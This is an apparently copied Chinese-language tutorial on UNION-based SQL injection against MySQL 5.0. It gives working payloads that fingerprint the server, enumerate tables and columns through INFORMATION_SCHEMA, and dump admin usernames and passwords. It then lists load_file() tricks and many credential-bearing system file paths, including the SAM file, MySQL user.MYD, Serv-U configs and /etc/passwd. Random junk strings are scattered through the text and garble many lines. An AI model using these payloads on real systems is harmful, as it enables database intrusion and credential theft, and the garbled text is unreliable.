mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
' s# z3 E/ q) @7 V( Y
& E5 A' i+ o+ |
! S% q3 e$ R: k6 s
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
  W9 ]7 K# i, G7 \# E1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
' A! C9 }# F8 _; c! V; @2 ]- }
3 X7 u% Y# Z( @" e|TABLES ->存储表名
( w  J8 l+ B) u|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
% |' j3 ]$ g$ g8 a( J& o1 O|—字段：TABLE_NAME ->存储所属表的名称
6 q; N3 K5 B) L1 b7 u( {
|—字段：COLUMN_NAME ->该字段的名称

0 }. Y& h' F. P! V$ I- h" [#########################################################################
: D& H9 O2 X) P" c! x0 h##

0×001 获取系统信息:

, O, h# q5 p# D* z8 tunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
, b  x1 n5 A' ]4 e
3 M3 |% s; t& s) N% H1 T% K/*

/ X- c; E# W6 k% W: C) Q@@global.version_compile_os 获取系统版本
/ s6 |# k0 @7 T
@@datadir 数据库路径
7 A8 d2 t( t0 D) |" t, X, pdatabase() 当前数据库名称
0 x! ]- p0 \7 c* n- t! M2 N0x3c62723e 换行HEX值
2 j! r6 M" y' g( J# T
*/
' U+ V4 F8 V: p8 O# p' F) \, D
# n; S% R& E, K6 o6 z) {7 B######################################################################

9 n# P. a' ]4 j" L% |# n0×002 获取表名
6 H# _1 p+ w! e3 L1 t
2 P; Z/ J& l8 I7 s7 V( v+ \, Xunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
6 `( H  z8 ~5 v( `8 g, W4 yinformation_schema.tables where table_schema=0x67617264656e /*
( F8 x, T7 w9 z. c2 u
4 H8 l- b5 Q8 j/*
9 ~2 J: g2 s  g/ [% ^# c
0x67617264656e 为当前数据库名
4 \/ C+ \/ H- |* L3 ?$ r; P
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

% N4 H8 S1 P% q' o1 H/ C*/
5 b  d8 R% e! B4 q. A/ J$ k2 n" A
######################################################################
" O/ U$ F7 J% B
0×003 获取字段
- z* G# x( G# Q# F& A+ r
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and


; F& f( a9 h- U1 s( k% P) }table_schema=0x67617264656e limit 1 /*

/*
  f; \! @& B% J: x
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
5 Z- z5 U% q* t& ]8 k7 O$ z/ O
( V5 G) _" I- `6 e1 }* {0x61646d696e ->选择一个表

9 u/ r2 K5 F( M: J0x67617264656e ->数据库名
" g: V6 D7 ?, G$ i
*/
# ^3 D9 F! L& x% h
# T/ q8 M1 c) W9 g#####################################################################

0×004 获取数据
/ q; ~0 U) V+ _: n2 W; J
2 i# e( w( F% Q9 P' gunion select 1,2,3
- n+ c3 n  u. v. L4 d- _,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

# U6 E* \3 Y- C/ ^% x) [union select 1,group_concat(id),group_concat(adname),4,5,group_concat
8 T, \4 Z# e- ^% b" g(adpassword),6,7,8 from admin
9 C' D1 r4 L1 l8 I7 ]# X* V2 K
/*
; |( f* |3 l4 z0 x( Q: Q
0x3c62723e 换行符号HEX编码
* j' ?" u- _' W
9 q! n: o. I- @$ d8 O8 Ogroup_concat 同时获得该字段所有数据
$ ?+ t( f" r. d# Z6 M: r
; z0 M2 M' W" Z6 J# X6 x2 m*/
! I" S8 O) `4 Q% p9 B# l! y, F7 D
8 i- v0 S4 f: k* e. j) b8 K



2 P- Q4 v% E  v2 o* t1 O$ n) e顺便添加一些mysql注入时非常有用的一些东西
8 H1 M' @8 W4 l; \* j, D( g# V
, E7 [. k  w; e- s8 x: p! \. O简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
2:user()        用户名
9 A3 |6 k  |  m  H+ B& V) L8 o0 J3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
4 E8 k  N& B; e! i7 I5 R% t8@datadir     读取数据库路径
( H  m+ e; R/ j9@basedir    MYSQL 安装路径
1 W/ z; t* o  I6 S10@version_compile_os   操作系统  Windows Server 2003,
6 `: M7 F& ~# p  ~6 G$ j! {/ i收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
* ^/ {6 r2 n2 w" O- ac:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
' [8 `/ Q0 y6 V% j' fc:/winnt/php.ini
  b& J" f9 c$ g; X& v& Xc:/winnt/my.ini
$ q  x- g( Y& s/ L5 _! i& Ac:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
" E/ T, _, T5 n$ ~( vc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
  F* y0 K; w& W- a& sc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
# {& v- p& I$ ^, bC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
$ ~( a4 y5 X) H% C//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
. V$ Y5 P6 k5 P3 \1 i+ B  [c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
5 v7 J4 x- H+ \+ Vd:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
' \6 v2 d8 X. S4 w8 p4 mc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

/ t) m( e' x+ P/ xLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
9 i. P8 ]" V- b# }8 {) t5 p9 Z3 f" Y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
8 j; ?$ v/ V: m% x3 H0 ~/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
0 t( X8 v6 @0 T/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
4 B: z. e& `* J/etc/issue
* z7 ?" x' M, K: ]' |/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 L9 q( H2 p5 z( r' W' E/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
( @% p" i1 y6 D+ |" X* D8 S/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
" [/ n# K3 i1 e) n3 Q/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
3 G5 T1 K" D0 i4 a( Mload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
+ y* L# u" @' {- _$ p  kreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
. b( U7 W$ ^# u. Z) w5 e6 B